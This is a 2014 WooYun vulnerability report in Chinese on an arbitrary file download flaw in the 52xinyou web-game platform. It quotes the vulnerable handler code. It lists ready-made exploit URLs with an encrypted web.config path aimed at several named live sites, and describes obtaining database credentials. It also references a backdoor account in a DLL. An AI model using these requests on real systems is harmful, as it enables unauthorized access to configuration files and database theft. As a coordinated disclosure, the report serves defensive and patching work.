当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-049024

漏洞标题:信游科技页游平台程序通用型任意文件下载可能导致大规模拖库(基于免费版)

相关厂商:52xinyou.cn

漏洞作者: wefgod

提交时间:2014-01-16 10:42

修复时间:2014-04-16 10:42

公开时间:2014-04-16 10:42

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-16: 细节已通知厂商并且等待厂商处理中
2014-01-20: 厂商已经确认,细节仅向厂商公开
2014-01-23: 细节向第三方安全合作伙伴开放
2014-03-16: 细节向核心白帽子及相关领域专家公开
2014-03-26: 细节向普通白帽子公开
2014-04-05: 细节向实习白帽子公开
2014-04-16: 细节向公众公开

简要描述:

之前发的只要未提到“新版”的话我都是基于对官网提供的所谓“免费版”进行审计的

详细说明:

WooYun: 信游科技页游平台程序通用型代码级后门账户(成功登录多个商业后台并可操纵订单和游戏) 看了这个洞里面厂商的回复,似乎厂商不太理解一些问题。为了回复您的问题,我只能多挖一个漏洞来提交好在详细说明里面给您回复了。

2014-01-15 15:28 | 信游科技页游(乌云厂商) 0
这是源代码啊.他们技术自己发的吧.程序员是不是和公司闹变扭了.拿段测试代码就上来了.


1.源代码是你们在官网提供的,http://52xinyou.cn/chanpin.htm 在这里面有一个“立即下载”,里面的超链接是http://52xinyou.cn/信游免费版.rar 我的网站结构和信息都是从这里来的
2.你们程序员是不是有人离职?可能是某人离职前留下的后门账号。
3.似乎厂商感觉新版要发布了,就有点忽略了在用的旧版、已传播开的免费版的安全问题了(看意思我理解是不打算修复,以后升级新版),但是目前在用的很多都是商业网站,建议还是更新下目前在用的客户的代码,然后建议也暂停免费版的下载。
4.发现后门账户的dll位置在 “信游免费版\xymfpt\平台\web\bin\DataManage.dll”

漏洞证明:

下面开始说下这个任意文件下载。
信游免费版\xymfpt\平台\web\Api\download.ashx

public void ProcessRequest(HttpContext context)
{
DataManage.DownLoadManage down = new DataManage.DownLoadManage();
down.FileDown(context);
}


信游免费版\xymfpt\平台\web\bin\DataManage.dll

DataManage.DownLoadManage.FileDown
public void FileDown(HttpContext context)
{
string text = context.Request.QueryString["fid"]; //fid是加密的路径
context.Response.ContentType = "text/plain";
if (Utility.IsEmptyString(text))
{
…………
}
else
{
text = text.Trim().Replace("%3d", "=").Replace(" ", "+").Replace("%2f", "/");
string strKey = "???"; //这是加密解密的密钥,屏蔽了
string path = Utility.Decrypt3DES(text, strKey); //解密获取到的路径
string text2 = context.Server.MapPath(path); //获取我们传入的虚拟路径的物理路径
if (File.Exists(text2))
{
string extName = text2.Substring(text2.LastIndexOf('.'));
Stream stream = File.OpenRead(text2); //直接读取text2指定的路径了,导致漏洞的产生
…………
while (num > 0L && context.Response.IsClientConnected)
{
int num2 = stream.Read(buffer, 0, Convert.ToInt32(51200L));
context.Response.OutputStream.Write(buffer, 0, num2);
context.Response.Flush();
num -= (long)num2;
}
………………


给一个路径的例子:
~/web.config 对应的密文是
nUDWEgdorSH4j/+9GiQTlA==
给下web.config的利用:
http://www.12wan.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA==

image001.png


image002.png


http://www.vipwan.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA==

image004.png


image005.png


http://52xinyou.cn/anli.htm 下的案例基本全秒。
http://www.ailiuwa.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA==
http://www.17188.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA==
http://www.teiyi.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA==
http://www.9797wan.com/api/download.ashx?fid=nUDWEgdorSH4j/+9GiQTlA==
等等
可以直接下载包含数据库用户名、密码的配置文件(为了避免一些问题这个就截图为证,不放链接了)

image007.png


image009.png


image011.png


部分数据库已经连上,拖库分分钟搞定啊……

image013.png


image014.png

修复方案:

限制可下载的文件的目录

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-01-20 10:58

厂商回复:

非常感激 新版年前会全部覆盖所有用户 也会推出新版免费下载 供大家研究测试

最新状态:

暂无